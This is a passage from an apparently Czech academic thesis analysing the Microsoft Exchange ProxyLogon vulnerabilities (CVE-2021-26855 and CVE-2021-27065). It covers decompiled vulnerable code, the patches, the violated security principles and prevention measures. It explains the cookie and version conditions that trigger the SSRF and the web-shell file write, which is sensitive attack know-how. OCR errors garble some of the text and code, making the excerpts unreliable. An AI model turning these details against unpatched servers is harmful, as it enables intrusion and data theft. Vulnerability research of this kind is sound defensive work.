Mozné dopady samoziejmé zavisi na mnoha dalsich faktorech, avsak tyto tfi jmenované jsou

Nejvetsi a nejpravdépodobnéjsi hrozba, kterd mtze nastat, je odcizeni dat. Vétsinou jsou od-
cizeny vSechny ulozené e-maily. Déle zdlezi, jaka data se v téchto e-mailech nachazi. V tom lepsim
pripadé to nemusi byt nic zavazného a dopad utoku muze skoncit pouze u odcizeni soukromé
posty. V tom horsim a pravdépodobnéjsim pripadé se v e-mailech budou nachézet citliva data,
jakou jsou napiiklad osobni idaje, hesla k rtiznym sdilenym pocitac¢iim, interni informace o firmé,
know-how firmy atd. V takovém piipadé mohou utoc¢nici tyto tdaje zneuzit a pouzit napiiklad
pro phishing ¢ k vydirdni. Utoénici také mohou postupovat déle v itoku. V tom nejhorsim pii-
padé se jim muze povést nakazit a ovladnout vétsinu zarizeni v interni siti. Dale mohou ttocnici
vsechna ovladnutd zarizeni zasSifrovat a pozadovat vykupné za desSifrovani. V takovém pripadé
jsou dopady na uzivatele masivni. Nejen, ze vSechna jejich privatni data jsou odcizena, ale také
k nim nemaji pristup. Takovy masivni itok muze celou firmu i zkrachovat. Z takového ptikladu
je velmi pékné vidét, jak je precizni bezpecnost v této oblasti naprostou nutnosti.

3.4 Bezpecnost architektury Microsoft Exchange

Aby bylo mozné popsat, kde v architekture Exchange nastala chyba, kterd umoznuje provedeny
utok, je potieba nejprve popsat jadro architektury Exchange. Aby bylo mozné provést analyzu
architektury Exchange, byly ziskany zdrojové kody programu Exchange. Postup vedouci k ziskani
zdrojovych kodu je v této kapitole popsan. Déle jsou popsany vystupy z analyzy bezpecnosti
architektury programu Exchange. Déle je ukézano, kde jsou v kédu umistény chyby vedouci
k ProxyLogonu, a nakonec je konstatovano, které bezpecnostni principy nebyly dodrzeny.

3.5 Ziskani zdrojovych kédua

Zdrojové kédy programu Exchange nejsou vefejné dostupné. Vétsina aplikace je vSak napsina
v jazyce C# pro rozhrani .NET. Takovy program se d4 pomérné snadno dekompilovat a ziskat
jeho zdrojové kédy. Existuje nékolik verejné dostupnych reseni. V této praci byly pouzity nastroje
DnSpy a JustAssembly.

Déle byl pouzit ,, Microsoft Update Catalog®, kde jsou archivovany bezpecnostni zaplaty.
Podle popisit a datumu vydani bylo identifikovano, ze zaplata opravujici ProxyLogon je ozna-
Cena jako KB5000871 a predchozi zaplata je oznacena jako KB4602269. Obé zaplaty byly sta-
zeny, a nasledné rozbaleny pomoci nastroje 7zip. Déale bylo zjisténo, ze zaplaty obsahuji vétsinu
bindrnich soubortu programu. Déle byla provedena dekompilace kédid pomoci vySe zminénych
nastroju. Nakonec pomoci technickych dostupnych popist byly identifikovana dilezita a kriticka
mista v kodu, kterd byla dédle analyzovana.

3.6 Architektura Microsoft Exchange

Jak jiz bylo popsano, problém se nachazi v CAS sluzbé, které je rozdélena na dva hlavni bloky:
frontend a backend. Na frontendu je umistén proxy modul, ktery pfijima pozadavky od kli-
enta, kontroluje je a preposila na backend. Backend takové pozadavky téz kontroluje a odpovida
frontendu, ktery odpovéd opét zkontroluje a preposle klientovi.

Cel4 logika frontendového proxy modulu je umisténa v knihovné FrontEndHttpProxy.dll,
konkrétné v modulu Microsoft.Exchange.HttpProxy. Kazda sluzba mé v tomto modulu nadefi-
novany vlastni handler, ktery zpracovava klientuv pozadavek. Pokud tedy posle klient pozadavek
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\ProxyRequestHandler.cs

BeginRequest ‘ 1. Request Section

AuthenticateRequest ‘

AuthorizeRequest ‘

2. Proxy Section

MapRequestHandler ‘

IHttpHandler

LogReguest 3. Response Section

EndRequest

B Obrazek 3.3 Obrazek popisuje, jakym zptisobem frontend zpracovava pozadavek od klienta. Cervené
je vyznacCena nejdulezitéjsi ¢ast — tak zvany handler. Prace handleru je rozdélena do tii celki. Daéle
je rozepséano, jaké funkce handler presné vold, pricemz funkce jsou pojmenovany vystizné a z nazvu je
zfejmé k ¢emu slouzi. Obrazek byl prevzat z [2].

na sluzbu OWA| tak tento pozadavek bude zpracovavat OwaProxyRequestHandler. Handlery
aplikaci dédi z rodicovské tiidy ProxyRequestHandler. Tato tfida se stard o vétSinu presme-
rovaci logiky. Na obrazku 3.3 je vidét, jakym zplisobem frontend zpracovava pozadavky a do
detailu je rozepsana funkcionalita handleru.

3.6.1 CVE-2021-26855 — ProxyLogon

Nez bude popsana analyza, je potfeba upozornit, ze v této a nésledujici kapitole, jsou ukazky
kédu programu Exchange. Byly vSak patficné minifikovany, aby byly zachyceny nejdilezitéjsi
Casti a ostatni vynechané ¢asti byly oznaceny komentari ,, OTHER STUFF HERE ...“ nebo ,,...“.

ProxyLogon je mozné vyvolat, pokud pozadavek miii na cestu /ecp/*. V takovém piipadé
bude pozadavek vétsinou obsluhovat EcpProxyRequestHandler. Pokud se vsak pfida do poza-
davku cookie X-BEResource, tak se muze stat, ze se zavola jiny handler. Pozadavek probiha tak,
ze se nejprve zkontroluje, jestli je opatien autorizaci. V ttoc¢nikovo pripadé pozadavek nebude
autorizovan, takze se zavola metoda SelectHandlerForUnauthenticatedRequest, kterd pomoci
vnitrni logiky rozhodne, jaky handler se ma pouzit pro zpracovani pozadavku. Kéd této metody
je zobrazen na obrazku m

SelectHandlerForUnauthenticatedRequest zvoli handler BEResourceRequestHandler, po-
kud pozadavek splnuje podminky metody CanHandle. Zdrojovy kéd CanHandle je uveden na ob-
razku 3.5. Tato metoda kontroluje, zda pozadavek obsahuje cookie X-BEResource a jeji hodnota
neni prazdna a také kontroluje, zda pozadavek mifi na soubor se ,statickou* priponou. Po-
kud jsou oba pozadavky splnény, tak se jako handler vybere BEResourceRequestHandler. Pro
Uspésny utok je klicové, aby se jako handler vybral BEResourceRequestHandler. Pro pochopeni,
proc je to klicové, je nutné vysvétlit jesté dalsi tok pozadavku.

Déle se v procesu vyhodnocovani pozadavku zavold metoda GetTargetBackEndServerUrl.
Tato metoda je zodpovédna za vygenerovani url adresy, kam se mé pozadavek presmeérovat.
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protected virtual void OnPostAuthorizeInternal(HttpApplication httpApplication)
{

/...

IHttpHandler httpHandler;

if (context.Request.IsAuthenticated)

{

httpHandler = this.SelectHandlerForAuthenticatedRequest{context);
1

else
{
httpHandler = this.SelectHandlerForUnauthenticatedRequest(context);
}
/...

private IHttpHandler SelectHandlerForUnauthenticatedRequest(HttpContext httpContext)

{
IHttpHandler result;

try
{
if (HttpProxySettings.NeedHandleAsAuthenticatedRequest(httpContext.Request.Headers,
httpContext.Request.Cookies, httpContext.SkipAuthorization))
{
‘ result = this.SelectHandlerForfAuthenticatedRequest(httpContext);
}
else
{
if (HttpProxyGlobals.ProtocolType == ... )
{
/...
¥
else if (HttpProxyGlobals.ProtocolType == ProtocolType.Ecp)
{
/...
else if (BEResourceRequestHandler.CanHandle(httpContext.Request))
{
httpHandler = new BEResourceReguestHandler();
¥
/o
}

return result;

B Obrazek 3.4 Obrizek ukazuje minifikovany kéd dvou metod, ktery vybiraji handler pro zpracovani
pozadavku.
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internal static bool CanHandle(HttpRequest httpRequest)

{

Demonstrace utoku

return !string.IsNullOrEmpty(BEResourceRequestHandler.GetBEResouceCookie(httpRequest))
&& BEResourceRequestHandler.IsResourceRequest(httpRequest.Url.LocalPath);

public static bool IsResourceRequest(string localPath)

{

ArgumentValidator. ThrowIfNull("localPath”, localPath);

return localPath.EndsWith(".

|| localPath.EndsWith(".
|| localPath.EndsWith(".
|| localPath.EndsWith(".
|| localPath.EndsWith(™".
|| localPath.EndsWith(".
|| localPath.EndsWith(".
|| localPath.EndsWith(".
|| localPath.EndsWith(".
|| localPath.EndsWith(™".
|| localPath.EndsWith(".
|| localPath.EndsWith(".
|| localPath.EndsWith(™".
|| localPath.EndsWith(".
|| localPath.EndsWith(".
|| localPath.EndsWith(".
|| localPath.EndsWith(™".
|| localPath.EndsWith(".
|| localPath.EndsWith(".
|| localPath.EndsWith(".
|| localPath.EndsWith(™".
|| localPath.EndsWith(™".
|| localPath.EndsWith(".
|| localPath.EndsWith(".
|| localPath.EndsWith(™".

axd", StringComparison.
crx™, StringComparison.
css", StringComparison.
eot”, StringComparison.
gif", StringComparison.
jpg", StringComparison.

OrdinalIgnoreCase)
OrdinalIgnoreCase)
OrdinalIgnoreCase)
OrdinalIgnoreCase)
OrdinalIlgnoreCase)
OrdinalIgnoreCase)

js", StringComparison.OrdinallgnoreCase)

htm", StringComparison.

OrdinalIgnoreCase)

html", StringComparison.OrdinallgnoreCase)

ico™, StringComparison.

manifest"”, StringComparison.OrdinallgnoreCase)

mp3", StringComparison.
msi", StringComparison.
png"”, StringComparison.
svg", StringComparison.
ttf", StringComparison.
wav", StringComparison.

OrdinalIgnoreCase)

OrdinalIgnoreCase)
OrdinalIlgnoreCase)
OrdinalIgnoreCase)
OrdinalIgnoreCase)
OrdinalIgnoreCase)
OrdinalIlgnoreCase)

woff", StringComparison.OrdinallgnoreCase)

bin"™, StringComparison.
dat™, StringComparison.
exe", StringComparison.
f1t", StringComparison.
mui™, StringComparison.
xap", StringComparison.

OrdinallgnoreCase)
OrdinalIgnoreCase)
OrdinalIgnoreCase)
OrdinalIgnoreCase)
OrdinallgnoreCase)
OrdinalIgnoreCase)

skin", StringComparison.OrdinallgnoreCase);

B Obrazek 3.5 Obrédzek ukazuje k6d metody, kterd urcuje, zda pozadavek miZe zpracovat handler
BEResourceRequestHandler. Staci aby pozadavek obsahoval cookie X-BEResource s jakoukoliv hodnotou
a aby pozadavek mitil na soubor, ktery kon¢i na jednu z definovanych koncovek.
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protected virtual Uri GetTargetBackEndServerUrl()
{
/...
UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
clientUrlForProxy.Port = 444;
if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion)
{
this.ProxyToDownlLevel = true;
RequestDetailslLoggerBase<RequestDetailslogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownlLevel™, true);
clientUrlForProxy.Port = 443;
¥

result = clientUrlForProxy.Uri;
o

return result;

¥

public static readonly int E15MinVersion = 1941962752;

B Obrazek 3.6 Obrézek ukazuje minifikovany kéd metody, kterd slouzi pro vypocet cilové destinace,
kam se ma pozadavek preposlat.

Jeji minifikovany kod je zachycen na obrazku . V této metodé se pro vypocet pouzije C#
objekt UriBuilder. UriBuilder funguje tak, ze vSechny parametry slou¢i do jednoho stringu,
ktery se pouzije jako vysledna url adresa a bude ulozen do parametru Uri. Pro ziskani pa-
rametru Host se pouzije parametr Fqdn z objektu BackEndServer. Objekt BackEndServer je
vytvoren metodou konkrétniho handleru, ktery se pouziva. V pripadé utoku se pouziva handler
BEResourceRequestHandler a jeho metoda pro vytvoreni objektu BackEndServer je zobrazena
na obrazku 3.7. Jak bylo psano diive, Exchange hodnotu v cookies rozdéli na dvé ¢asti podle
vlnovky. Takové chovani je vidét pravé na metodé FromString. V GetTargetBackEndServerUrl
se jesté kontroluje, zda verze serveru (specifikovand v X-BEResource cookie) je mensi nez urcitd
konstanta, a pokud ano, tak se nastavi proménna ProxyToDownLevel na pravdivou. To nasledné
zpusobi, ze se bude komunikovat s backendem trochu jinym zpusobem a SSRF nebude fungovat.
Proto je nutné pii ttoku nastavit verzi na vyssi nez Server.E15MinVersion.

7 ukazek kodu je vidét, ze za dodrzeni urcitych podminek se pozadavek opravdu presméruje na
to, co klient definuje v cookie. Nicméné to samo o sobé nemusi viitbec nic znamenat, protoze dosud
je pozadavek neautorizovany a klient by tedy nemél byt schopen ziskat citlivd data. O tom, zda je
pozadavek autorizovany, se findlné rozhodne v ¢asti CreateServerRequest. Konkrétné se v této
metodé zavola dalsi metoda PrepareServerRequest — jeji kod je vidét na obrazku 3.8. Pozadavek
se oznaci jako neautorizovany, pokud ma handler, ktery ho zpracovava, implementovanou metodu
ShouldBackendRequestBeAnonymous. V rodicovské t¥idé vSech handlert (ProxyRequestHandler)
je tato metoda implementovana tak, ze vraci false. BEResourceRequestHandler tuto metodu
implementovanou nemad. Ostatni podminky v této vétvi se taktéz nevyhodnoti jako pravdivé,
a nakonec se stane to, co je v else vétvi. Tam se nachdzi kod, ktery opatri dany pozadavek
vygenerovanym Kerberos tiketem a z pozadavku se tak stane autorizovany pozadavek.

Nésledné je pozadavek uz jen preposlan na backend a ke klientovi je zpropagovana odpovéd.
Diky tomu, ze je pozadavek autorizovan, muze itocnik vyzadovat data, ke kterym by nemél mit
normalné pristup.

Zaplata této chyby byla provedena na nékolika mistech. V obsluhujicim handleru BEResource
RequestHandler byla implementovina metoda ShouldBackendRequestBeAnonymous, kterd vraci
true. To zajisti, Ze se v metodé PrepareServerRequest vyhodnoti, Zze pozadavek je neautori-
zovany, pokud nemé v sobé jiz zahrnuty Kerberos tiket. Déale byla pridana kontrola do metody
FromString, kterd vytvaii objekt BackEndServer z obsahu cookie X-BEResource. Metoda kont-
roluje, jestli polozka pred vlnovkou je validni DNS nazev, tudiz zda neobsahuje nékteré zakézané
znaky, jako napiiklad @, :; #, atd. Rozdil v kédu pfed a po ziplaté je vidét na obrazku @
Microsoft provedl samoziejmé dalsi zmény kédu, avSak ty se uz primo netykaly zranitelnosti
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protected override AnchorMailbox ResolveAnchorMailbox()

{
string beresouceCookie = BEResourceReguestHandler.GetBEResouceCookie(base.ClientRequest});
if (lstring.IsNullOrEmpty(beresouceCookie))
{
/...
return new ServerInfoAnchorMailbox(BackEndServer. FromString({beresouceCookie), this);
¥
return base.ResolveAnchorMailbox();
¥
public BackEndServer(string fgdn, int version)
{
if (string.TsNullOrEmpty({fqdn))
{
throw new ArgumentNullException{"fqdn");
¥
if (version == @)
{
throw new ArgumentOutOfRangeException("version™);
¥
this.Fadn = fqdn;
this.Version = version;
¥
public static BackEndServer FromString(string input)
{
if (string.IsNullOrEmpty{input))
{
throw new ArgumentNullException{"input");
}
string[] array = input.Split(new char[]
{
I H
int version;
if (array.lLength != 2 || lint.TryParse(array[1], out version))
{
throw new ArgumentException("Invalid input value™, "input™});
3
return new BackEndServer(array[8], version);
¥

B Obrazek 3.7 Obriazek ukazuje minifikovany kéd metody, kterd slouzi pro vytvoreni objektu
AnchorMailbox. Na obrazku je taktéz vidét metoda FromString, kterd z hodnoty cookie X-BEResource
vytvori objekt BackEndServer tak, ze text rozdéli na dvé ¢asti — pred vlnovkou a za vlnovkou. Prvni
¢éast pak pouzije jako hodnotu parametru Fqdn, druhou néasledné jako parametr Version.
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protected void PrepareServerRequest(HttplWlebRequest serverRequest)
{
JZARES
if (this.ProxyKerberosAuthentication)
{
serverRequest.ConnectionGroupName = this.ClientRequest.UserHostAddress + ":"
+ GecUtils.GetClientPort(SharedHttpContextiirapper.Getiirapper(this.HttpContext));

3
else if (this.AuthBehavior.AuthState == AuthState.BackEndFullAuth || this.ShouldBackendRequestBeAnonymous()

|| (HttpProxySettings.TestBackEndSupportEnabled.Value
&& !string.IsNullOrEmpty(this.ClientRequest.Headers[Constants.TestBackEndUrlRequestHeaderKey])
)
)
{

serverRequest.ConnectionGroupName = "Unauthenticated”;

¥

else

{
serverRequest.ConnectionGroupName = Constants.KerberosPackageValue;
long value = OL;
LatencyTracker.GetlLatency(delegate()

{
serverRequest.Headers[Constants.AuthorizationHeader] = KerberosUtilities.GenerateKerberosAuthHeader(serverRequest.Address.Host,
this.TraceContext,
ref this.authenticationContext,
ref this.kerberosChallenge);
}, out value);
RequestDetailsloggerBase<RequestDetailslogger>.SafeSetlogger(this.Logger, HttpProxyMetadata.KerberosAuthHeaderlatency, value);

B Obrazek 3.8 Obrazek ukazuje minifikovany kéd metody, kterd slouzi pro p¥ipravu pozadavku, ktery
se nasledné posle na backend. Metoda mimo jiné zjisti, zda byl pozadavek opatien Kerberos tiketem
a je tedy autorizovan. Pokud autorizovan neni, tak metoda ovéri, zda ma byt pozadavek autorizovany
a pokud ano, tak vygeneruje novy Kerberos tiket, kterym pozadavek opatii. V opacném priipadé oznaci
pozadavek jako neautorizovany.

v metodé BEResourceRequestHandler.

3.6.2 CVE-2021-27065

Vétsina kddu na obsluhu sluzby EAC je umisténa v knihovné Microsoft.Exchange.Managment.
ControlPanel.dll. V této knihovné je modul Microsoft.Exchange.Management.DDIService,
ktery se stard o nastavovani virtudlnich slozek (sluzeb) na serveru. Jak bylo popsdno v kapitole
1, EAC vola Exchange Powershell prikazy, pouzivané pro spravu serveru. Webové rozhrani je
napsano v jazyce XAML, kde je nadefinovano, které akce se maji spustit pri interakci uzivatele.
XAML je jazyk od Microsoftu, pouzivany pro popis grafického rozhrani. Pokud uzivatel chce
napriklad zménit nastaveni virtualni slozky OAB, tak se pomoci XAML vytvoii objekt SetCmdlet
s prislusnymi parametry. Backend poté tento objekt spusti pres metodu run a ve skutecnosti se
zavold Powershell piikaz Set-OabVirtualDirectory. PTi resetu nastaveni virtudlni slozky se
nejprve zavold metoda ResetGetPostAction a nasledné se pouzije objekt WriteFileActivity,
ktery zapise konfiguraci do souboru. Ukazka je vidét na obrazku m

Microsoft tuto chybu zaplatoval tak, ze zaloze souboru prida koncovku .txt. Jinym zptisobem
tuto chybu neopravoval — vyzkouseli jsme nastavit zdskodnickou externi url na aktualizovaném
serveru. To se povedlo, ale vyexportovany soubor méa opravdu koncovku .txt, tudiz to, ze lze
do externi url vlozit kéd, by nemél byt problém. Porovnani kédu pred a po zaplaté je vidét na
obrazku ‘3.11.

3.7 Porusené bezpecnostni principy

Prvni poruseny bezpec¢nostni princip souvisi s principem nejnizsich privilegii. Konkrétné neni
ziejmé, pro¢ by méla mit rodicovska tiida ProxyRequestHandler implementovanou metodu
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public static BackEndServer FromString(string input) a4 public static BackEndServer FromString(string input)
{ 45 {
int num; 46 int num;
if (string.IsNullOrEmpty(input)) 47 if (string.IsNullOrEmpty(input))
{ 48 {
throw new ArgumentNullException("input”); 49 throw new ArgumentNullException(“input”);
} 50 )
string[] strArrays = input.Split(tnew char(] { '~ }); 51 string[] strArrays = input.Split(new char(] { '~ });
if ((int)strArrays.Length != 2 || lint.TryParse(strArrays[1], out num)) 52 if ((int)strArrays.Length != 2 || lint.TryParse(strArrays[1], out num) || UriHostNameType.Dns != Uri.CheckHostName(strArrays[0]))
{ 53 {
throw new ArgumentException(“Invalid input value®, "input”); 54 throw new ArgumentException(“Invalid input value”, “input");
55
return new BackEndServer(strArrays[0], num); 56 return new BackEndServer(strArrays[0], num);
} 57 }
58
public override string ToString() 59 public override string ToString()
{ 60 {
return string.Format("{0}~{1)", this.Fqdn, this.Version); 61 return string.Format("{0}~{1}", this.Fqdn, this.Version);
} 62 }
) 63 }

} 64}

B Obrazek 3.9 Obrazek porovnand kéd metody FromString. Konkrétné je srovnéano, jaké zmény Micro-
soft udélal, aby zaplatoval bezpecnostni chybu. Zde je vidét, ze pridal kontrolu polozky pred vlnovkou,
ktera se néasledné pouzije jako hodnota Fqdn. Text musi byt validni DNS nazev a je kontrolovan pomoci
knihovny Uri.

<SetObjectWorkflow Output="Name,Server,VDirType,Identity,WhenChanged,WebsiteName" AsyncRunning="true">
<GetCmdlet DataObjectName="ADOabVirtualDirectory" CommandText="Get-OABVirtualDirectory" PostAction="ResetGetPostAction" >
</GetCmdlet>
<WriteFileActivity OutputFileNameVariable="FilePathName" InputVariable="FileContent" />
/...
</SetObjectWorkflow>

public class WriteFileActivity : Activity
{
public override RunResult Run(DataRow input, DataTable dataTable, DataObjectStore store,
Type codeBehind, Workflow.UpdateTableDelegate updateTableDelegate)

DataRow dataRow = dataTable.Rows[@];
string value = (string)input[this.InputVariable];
string path = (string)input[this.OutputFileNameVariable];
RunResult runResult = new RunResult();
try
{
runResult.ErrorQccur = true;
using (StreamWriter streamWriter = new StreamWriter(File.Open(path, FileMode.CreateNew)))
{
streamiriter.Writeline(value);

}

runResult.ErrorOccur = false;

B Obrazek 3.10 Obrizek ukazuje kéd, ktery je vyvolan, pokud uzivatel vyresetuje nastaveni virtudlni
slozky. Nejprve je ukdzana ¢ast souboru XAML, ktery definuje webové rozhrani. Nésledné je ukézdna
metoda Run tfidy WriteFileActivity, kterd zapiSe nastaveni do souboru.
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Microsoft.Exch. DDlService 9
{ 10
public class WriteFileActivity : Activity
{

Microsaft.Exch DDIService

public class WriteFileActivity : Activity
{
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public override RunResult Run(DataRow input, DataTable dataTeble, DataObjectStore store, Type codeBehind, Workflow

DataRow item = dataTable Rows|0];

string str = (string)input{this.InputVariable]:

string item1 = (string)input(this.QutputFileNameVariable];
RunResult runResult = new RunResult();

try

runResult ErrorOccur = true;

using = new 1, FileMoge.Ci )
streamWriter WriteLine(str);

runResult.ErrorOccur = false;

private readonly static string textExtension;
static WriteFileActivity()

WriteFileActivity.textExtension = “bt"

public override RunResult Run(DateRow input, DateTable dataTable, DataObjectStore store, Type codeBe

DataRow item = dataTable.Rows[0]:
string str = (string)inputithis.InputVariable]:
string item1 = (string is. OutputFileN
RunResult runResult = new RunResult();
try
{
runResult ErrorOccur = true:
if (titem1 i )
{
ftem1 = string.C
}

using

1, WriteFil

1, FileMode.Ci

= new
streamWriter WriteLine(str);

runResult.ErrorOccur = false;

catch (L tion tior) catch (L tion tion)

B Obrazek 3.11 Obréazek porovnava koéd pro zapis nastaveni virtudlni slozky do souboru. Je porovnavan
kéd pred a po vydané zaplaté.

ShouldBackendRequestBeAnonymous tak, ze vraci false. Z pohledu bezpecnosti by to mélo byt
naopak — vSechny pozadavky by mély byt ve vychozim stavu neautorizované. To by mimo jiné
mohlo zabranit vzniknuti chybé typu ProxyLogon. Obecné architektura CAS je pomérné dost
slozitd — v programu je vice nez 20 ruznych handlert, ktery reaguji na pozadavky a ruzné je
zpracovavaji. Nékteré pozadavky jsou feSeny tak, Ze se k nim , prihackuje“ autorizace. Muze se
tedy stat, ze v nékterych piripadech dojde k nekonzistenci — piiklad ProxyLogonu. Pii psani tak
velkého a slozitého programu je dilezité, aby klicové ¢asti byly prehledné a uspordadané naimple-
mentované. Idealné by méla autorizace probihat na jednom misté pomoci jednoho modulu.

Dalsi princip bezpeéného programovani, ktery byl porusen, je nedostatecné otestované a za-
bezpecené zpracovani uzivatelského vstupu. Konkrétné v rozhrani EAC, skrze které bylo mozné
nahréit na server Web Shell. Uzivatelsky vstup na obou mistech (nastaveni url a resetovani nasta-
ven{) by mél byt vhodné oSetfen, aby byla aplikovina vicetroviiovd bezpecnost. Pro nastavovani
externi url by mél byt idedlné pouzit whitelist, ktery bude povolovat pouze urc¢ité znaky. Micro-
soft zranitelnost opravil pouze tak, ze osetfil zapis nastaveni do souboru.

Dalsi problém byl ten, ze Exchange nebyl zahrnut do Microsoft Bug Bounty programu, a tak
penetracni testeri nebyli tolik motivovani chyby v Exchange hledat a nahlasovat. Exchange byl
konec spolu se Skypem a SharePointem pridan do Bug Bounty programu v dubnu roku 2022.
62]
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Kapitola 4

Moznosti prevence

V této kapitole je popsdno, jakym zptisobem by mohl poskytovatel serveru této a podobnym
zranitelnostem do budoucna predchézet. Nejprve je ukdzano, jakym zpusobem se d4 navrhnout
sit organizace tak, aby byl Exchange server co nejvice chranén. Nasledné jsou diskutovany rizné
moznosti konfigurace serveru. Nakonec jsou predstavena alternativni feSeni.

4.1 Architektura firemni sité

Spolehlivy zptisob, jak podobnym ttokim predchézet, je nevystavovat Exchange server na in-
ternet. V takovém ptipadé by pristup fungoval tak, ze by se uzivatelé museli nejprve piipojit
skrze VPN do firemni sité a teprve pak by méli pfistup na Exchange server. Takova konfigurace
samoziejmé znacné zneprijemnuje uzivatelsky pristup a naptiklad pro uzivatele smartphonu ho
témeér znemoznuje.

Dalsi moznosti je Exchange server schovat za néjaky prvek a vsechnu komunikaci filtrovat.
Transportni server nemuze byt dostate¢ny prvek, protoze filtruje pouze komunikaci mezi SMTP
servery na portu 25, ale pokud chtéji uzivatelé pouzivat naptiklad sluzbu OWA, tak se pripojuji
skrze port webovy port 443 pfimo na postovni server. Dobrym feSenim je naptiklad reverzni proxy
server. Takovy server je umistén na koncovém uzlu vnitini sité a prochézi skrze néj vsechna
komunikace. Z internetu je tedy vnitini sit dostupnd pouze skrze dany reverzni proxy server.
Na reverznim proxy serveru je typicky umistén webovy aplikacni firewall (WAF), ktery provadi
analyzu komunikace a slouzi jako prevence pfed nejbéznéjsimi ttoky. Takové feSeni mimo jiné
pomuze zabezpecit celou firemni sit. Avsak je nutné poznamenat, ze stdle existuje urcité i kdyz
podstatné malé, riziko, ze se zkusenému itoc¢nikovi povede obejit firewall a zranitelnost zneuzit.
Je také potfeba poznamenat, Ze nevyhodou tohoto feseni je mnohdy vysoké cena.

4.2 Konfigurace Exchange serveru

Jeden dalsich zptisob, jak riziko tspésného napadeni zmirnit, je vypnout co nejvice sluzeb, které
nejsou nutné potreba, pripadné tyto sluzby omezit pouze na pristup z lokalni sité. Prikladem
takové sluzby je EAC a Exchange Powershell. Pokud jsou sluzby omezené pouze na piistup
z lokalni sité, tak by sice tto¢nik mohl zneuzit SSRF zranitelnost, avsak uz by se mu nepovedlo
prihlasit se do EAC a tim pddem spoustét vzdalené kod.

Administrator by mél aktivné kontrolovat a analyzovat logy. To je samozrejmé casto nadlid-
sky 1kol vzhledem k tomu, jak jsou logy objemné. Je tedy vhodné monitorovat server pomoci
automatického software. Dobrym Fesenim se jevi napiiklad SIEM (Security Information and
Event Management). Jednd se o ndstroj pro spravu logi (log managment), ktery monitoruje
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bezpecnostni informace, udédlosti ¢i anomalie a aktivné na né upozornuje. Takovy nastroj tak
umozni zvétsit pravdépodobnost, Ze ttok bude véas detekovan.

Dalsim zajimavym zpisobem, jak chranit server, je monitorovat tlozisté serveru. V tomto
pripadé je vyhoda, ze Exchange vétsinou nevytvafi nové soubory kromé e-maili a logtl, a ty lze
jednoduse filtrovat. Je tedy mozné monitorovat vétsi ¢ast tlozisté a na pripadné nové vytvorené
soubory administratora upozornit. Administrator tak muze vcas zastavit pripadné probihajici
utok. Takovy monitoring umoznuji i nékterda STEM fesSeni.

Déle je velmi vhodné, aby byly provadény zalohy dat. V pripadé, ze by byl utok uspésny
a utocnici by napriklad zasifrovali vSechna data na serveru, tak organizace o data nepfijde.

4.3 Alternativni reseni

Nejlepsim alternativnim reSenim, které se nabizi, je pouzivat Exchange Online. V takovém pri-
padé se o vsSe stard Microsoft na vlastnim Cloudu a jediné, co musi délat zdkaznik, je platit.
Zakaznik vsak ziska velké vyhody, napriklad nepretrzitou podporu na telefonu, ochranu proti
malware diky mnoha antimalware feSeni tietich stran ¢i garanci neustalé dostupnosti. Pronajaté
servery Microsoftu jsou samoziejmé peclivé sledované a zabezpeéené (skrze nékolik aplikacnich
firewalll) a tudiz zranitelnost Proxylogon jejich uZzivatele neohrozovala. V nékterych pfipadech
muze byt pouzivani Exchange online stejné drahé jako pouzivani vlastnich Exchange servert.
Exchange online je tedy velmi vhodnd alternativa.

Nabizi se pouzivat i jind feseni e-mailové posty nez od Microsoftu, napiiklad Postfix, Sendmail
nebo Exim. Zde vsak neni mozné jednoznac¢né tici, zda pouzivani alternativnich sluzeb riziko
nalezeni podobné zranitelnosti zmensi nebo zvétsi.



Prace se zabyvala analyzou zranitelnosti ProxyLogon a utokd s ni spojenych. Byly nastudo-
vany a popsany dulezité pojmy nutné pro pochopeni zranitelnosti a néslednych utoku. Dale
byla predstavena samotna zranitelnost ProxyLogon a dalsi souvisejici zranitelnosti ProxyOracle
a ProxyShell. Nésledné byla provedena komplexni analyza provedenych utoka — utoky byly roz-
déleny na 4 faze a v kazdé fazi byly analyzovany zpusoby ttoku a typy utoc¢nika. Nasledné byly
analyzovany celkové dopady utoku a motivace utoc¢niki. Déale byly popsany néapravné akce, které
byly provedeny pro zamezeni zneuzivani zranitelnosti.

Pro ucely demonstrace itoku bylo pripraveno virtudlni prostredi se serverem obsahujicim zra-
nitelnost ProxyLogon. Déale byl v Pythonu naprogramovan automaticky skript, ktery zranitelnost
zneuzije a umozni uzivateli ovladat nakazeny server. Nasledné byly vyhodnoceny dopady, které
mohl mit takovy utok na uzivatele. Déle byl popsan proces ziskani zdrojovych kédua programu
Exchange a byla provedena jejich analyza. Na zdkladé této analyzy bylo vyhodnoceno, jaké ne-
dostatky v architekture programu zpusobily tuto zranitelnost a jaké bezpecnostni principy byly
poruseny. Na zavér byly predstaveny moznosti prevence z pohledu provozovatele sité a taktéz
byla diskutovana alternativni feseni. Jednim z uzite¢nych vystupd prace je virtudlni prostiedi
a skript zneuzivajici zranitelnost ProxyLogon, které mohou byt vyuzity naptiklad pfi vyuce.

Diky préci bylo zjisténo, ze Exchange postrada urcité bezpecnostni principy a ukazuje tak
potencidl pro hledani zranitelnosti. V navazujici praci by tedy bylo mozné provést celkovou
bezpecnostni analyzu programu Exchange. Dalsi moznosti je vice do detaila prozkoumat jiz pub-
likované zranitelnosti (ProxyOracle, ProxyShell, ProxyToken) programu a ttoky s nimi spojené.
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